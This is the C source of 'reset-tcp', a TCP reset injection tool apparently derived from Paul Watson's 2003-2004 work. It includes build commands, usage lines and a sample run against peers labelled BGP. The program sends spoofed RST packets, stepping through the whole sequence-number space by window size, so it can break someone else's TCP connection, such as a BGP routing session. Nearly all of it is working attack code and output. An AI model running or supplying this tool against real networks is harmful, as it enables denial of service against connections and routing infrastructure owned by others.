COMPILE:
gcc reset-tcp.c -o reset-tcp /usr/lib/libnet.a
or
gcc -o reset-tcp reset-tcp.c -lnet
** be sure to modify the MAC addresses (enet_src/enet_dst) in the code, or you WILL have problems!

EXECUTE:
reset-tcp [interface] [src ip] [src port] [dst ip] [dst port] [window size]

EXAMPLE (and timing packets sent with /bin/date):
[root@orc BGP]# date; ./reset-tcp eth1 172.16.0.1 1 172.16.0.2 2 65536; date
Tue Dec 16 21:18:28 CST 2003
Packets sent: 8192 Sequence guess: 536805376
Packets sent: 16384 Sequence guess: 1073676288
Packets sent: 24576 Sequence guess: 1610547200
Packets sent: 32768 Sequence guess: 2147418112
Packets sent: 40960 Sequence guess: 2684289024
Packets sent: 49152 Sequence guess: 3221159936
Packets sent: 57344 Sequence guess: 3758030848
packets sent: 65535
Tue Dec 16 21:18:46 CST 2003
[root@orc BGP]#
*/

/* modified by: J. Barber A.K.A Swoop
modified to use src mac from your interface and asks for the
destination mac on the command line.

New Command-Line Example:
./reset-tcp eth1 172.16.0.1 1 172.16.0.2 2 00:01:02:03:04:05 65536

swoopafied: 3/30/04
*/

#include <libnet.h>
#include <stdio.h>

int main(int argc, char *argv[])
{
int c;
unsigned long int count=0;
unsigned long int count2=0;
unsigned long int seqguess=0;
unsigned long int seqstart=0;
unsigned long int seqincrement=0;
unsigned long int seqmax=4294967295;
u_char *cp;
libnet_t *l;
libnet_ptag_t t;
char *payload;
char * device = argv[1];
u_short payload_s;
u_long src_ip, dst_ip;
u_short src_prt, dst_prt;
char errbuf[LIBNET_ERRBUF_SIZE];

char sourceip[32] = "";
char destinationip[32] = "";

/* Change these to suit your local environment values */
/* Make enet_dst either the default gateway or destination host */
struct libnet_ether_addr *ptr_enet_src;
u_char enet_src[6];
u_char enet_dst[6];
u_char org_code[3] = {0x00, 0x00, 0x00};

/* Its only test code, so minimal checking is performed... */
if (argc<8) {
printf("TCP Reset Tool v1.2\nBy Paul Watson - Modified by J. Barber\n");
printf("Usage: %s [interface] [src ip] [src port] [dst ip] [dst port] [gateway/destination MAC] [window size]\n",argv[0]);
printf("Example: ./reset-tcp eth1 172.16.0.1 1 172.16.0.2 2 00:01:02:03:04:05 65536\n");
exit(1);
}

strcpy(sourceip,argv[2]);
src_prt = atoi(argv[3]);
strcpy(destinationip,argv[4]);
dst_prt = atoi(argv[5]);
seqincrement= atoi(argv[7]);
seqstart= 0;
seqmax = 4294967295; /* 2^32 */

payload = NULL;
payload_s = 0;
src_ip = libnet_name2addr4(l,sourceip,LIBNET_DONT_RESOLVE);
dst_ip = libnet_name2addr4(l,destinationip,LIBNET_DONT_RESOLVE);

memset(enet_dst, 0, sizeof(enet_dst));
sscanf(argv[6], "%02X:%02X:%02X:%02X:%02X:%02X", &enet_dst[0],
&enet_dst[1], &enet_dst[2], &enet_dst[3], &enet_dst[4],
&enet_dst[5]);

l = libnet_init(LIBNET_LINK,device,errbuf);
ptr_enet_src = libnet_get_hwaddr(l);
memcpy(&enet_src[0], ptr_enet_src,6);
printf("Src MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", enet_src[0], enet_src[1],enet_src[2],enet_src[3],enet_src[4],enet_src[5]);
printf("Dst MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", enet_dst[0], enet_dst[1],enet_dst[2],enet_dst[3],enet_dst[4],enet_dst[5]);

for (seqguess=seqstart;seqguess<seqmax-seqincrement;seqguess=seqguess+seqincrement) {
count++; count2++;
if (count2==8192) { count2=0; printf("Packets sent: %lu\tSequence guess: %lu\n",count,seqguess); }
l = libnet_init(LIBNET_LINK,device,errbuf);
t = libnet_build_tcp(src_prt,dst_prt,seqguess,0x00000001,TH_RST,0,0,0,LIBNET_TCP_H,NULL,0,l,0);
t = libnet_build_tcp(src_prt,dst_prt,seqguess,0x00000001,TH_RST,0,0,0,LIBNET_TCP_H,NULL,0,l,0);
t = libnet_build_ipv4(LIBNET_IPV4_H+LIBNET_TCP_H+payload_s,0,242,0,64,IPPROTO_TCP,0,src_ip,dst_ip,NULL,0,l,0);

t = libnet_build_ethernet(enet_dst,enet_src,ETHERTYPE_IP,NULL,0,l,0);
c = libnet_write(l);
}
printf("packets sent: %i\n",count);
return (EXIT_FAILURE);
}